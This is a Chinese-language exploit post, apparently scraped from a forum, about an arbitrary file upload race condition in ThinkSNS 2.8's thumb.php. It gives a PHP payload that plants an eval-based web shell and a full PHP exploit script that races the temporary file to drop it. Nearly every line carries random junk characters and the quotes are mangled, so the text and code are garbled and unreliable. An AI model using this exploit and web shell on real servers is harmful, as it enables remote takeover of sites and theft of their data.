漏洞版本
: ]) q0 G* l! B存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)+ q0 S8 Y' X8 _5 X# j9 ~
漏洞文件
7 u4 U2 S3 q: n存在漏洞的文件为:thumb.php
- y7 @$ P/ u k9 Q作者:韦鲲鹏, B% X, _3 e+ g* u( s& S8 U! Q
1、 准备如下PHP文件并上传到服务器(自己的)。3 p2 U/ e- X) C& C& \' W" h, r
文件内容如下:
6 h) ^3 c# ?& f1 e<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
! |$ x7 E; J" m( b7 n% i2、 计算出临时的文件名:
- S7 j5 L& k7 U$ a) a- g这里我们可以看文件的99行(刚刚是不是没注意呀!)。
* t1 r; I, r9 O- ?+ @# x! A; q4 A1 O+ P- O+ `
3、 上传临时文件。
9 Q% |' _& Z% f; n% E3 l, W$ B4、 访问临时文件。! R/ o* q$ J. Y4 o3 K1 @
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
) l' o9 u# K' h5 X' N& eExploit文件内容如下:(这个我就不详细解释了)0 k2 M* A) \8 z( A
<?php: ^4 J5 ~- t# @+ i$ v0 @# a- s
error_reporting(0);
# W) F2 M$ h( i( X7 e, t! r1 ^set_time_limit(0);4 W n, A! O5 \4 k
ini_set(“default_socket_timeout”, 5);
6 B% \0 `9 o) E) S& Tfunction http_send($host, $port, $headers) {$ J1 r& \5 z# t) t3 f* D
$fp = fsockopen($host, $port);& ]3 D1 L# \' l& a' _) l% {
if (!$fp) die(‘Connection -> fail’);
/ m' \1 q, p, V# N; ]fputs($fp, $headers);; J: u; R3 n% D% r
return $fp;
0 a) }: m* K1 y4 X* y" y! X( e} j+ j+ @* m8 A# ?4 y% K( i
function http_recv($fp) {
/ y; W o+ j9 V4 B; f: ^: H' r$ret=”";
6 ^7 D- W% k: B$ cwhile (!feof($fp))
. E5 r! @" } e) A6 C8 s$ret.= fgets($fp, 1024);
- K2 X3 D6 t- s6 k6 K1 Gfclose($fp);
( f/ C! r; B% F$ Creturn $ret;- B) G5 U' }9 Q: s- T) a) F) k
}, ^2 B9 F/ |6 V; D" l% v" r
print “\n# ThinkSns Arbitrary File Upload #\n”;+ Y$ ]" @4 \$ P; B
print “# Discovered by 韦鲲鹏 #\n\n”;6 u8 r: I. b; `- A, P
if ($argc < 4) {# Z& d4 j3 M) O# _3 Q0 j2 q
print “Usage: php <host> <path> <romote_url>\n”;
9 X9 H$ a Z: l! a( G cprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
/ W% H$ n5 y q# c8 Bdie();
* q/ q# U F% i}9 n. b; X6 a2 U3 H" U, {
$host = $argv[1];* e+ ^1 L$ B! ` e8 j
$path = $argv[2];& u' I; _" Q8 b4 X
$url = $argv[3];9 ~7 j. p& q# ]( Z: D
$i=0;3 i) ^' K# }6 j" y
//上传数据包
7 t' v; Z7 M6 P. j! o! e; @$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;9 U! t- ]8 |5 d0 ~4 X [ I) b$ r# y
$headers_up .= “Host: “.$host.”\r\n”;
( U! t" h/ S8 w- }% ^, Y+ A$headers_up .= “Connection: close\r\n\r\n”;
$ E# [( z2 _1 A! xecho $headers_up;# h- e* [* M: F7 f
//临时文件访问数据包' l3 p0 X0 x5 F5 ]" L- a$ t5 D3 i; I
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
/ x9 q" f: n7 J$headers .= “Host: “.$host.”\r\n”;6 W0 O+ l0 h, K6 a2 T* W
$headers .= “Connection: close\r\n\r\n”;% L8 M3 V: V! ? i" t0 c
echo $headers;
6 f6 `7 C- p: w6 {8 owhile(++$i<10) {! i5 _2 u' o5 N1 z
fclose(http_send($host, 80, $headers));& R+ a5 p5 c4 X- X/ x+ U# c* b9 K! c
}+ M( @# p; |" k. J' I: U
fclose(http_send($host, 80, $headers_up));
( @) e9 s7 u3 u$ C& }7 s* Z7 k8 \while(++$i<50) {. J, J7 a5 z8 y: U% c' ^
fclose(http_send($host, 80, $headers));9 N* L( `, Z; X/ n" |2 T( f# u* E
}
- [! H) c6 x- t$ v3 \$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;3 J9 ^, ^ g! l* g2 j4 ^
$headers .= “Host: “.$host.”\r\n”;
7 ]' l( ~3 N% X0 p- q- }% }$headers .= “Connection: close\r\n\r\n”;
' w$ h6 J4 S% R: r2 z) h9 T$res=http_recv(http_send($host, 80, $headers));" m0 |, x: W" K" \2 O) j5 s' y
if(preg_match(‘/200 OK/’,$res)) {
5 z4 _6 b8 v( Y/ D! fprint “Success!\n\n”;
j2 J" V& E! l0 k4 q: j! q* ?$ X} else {. {4 \& h) Z0 P8 Y1 V3 t
print “Fail!\n\n”;4 g Z* ~+ }# T( d
}& l) u: ~8 C0 P$ ]# W! u% q
?>9 {% W% [; w# m" j
|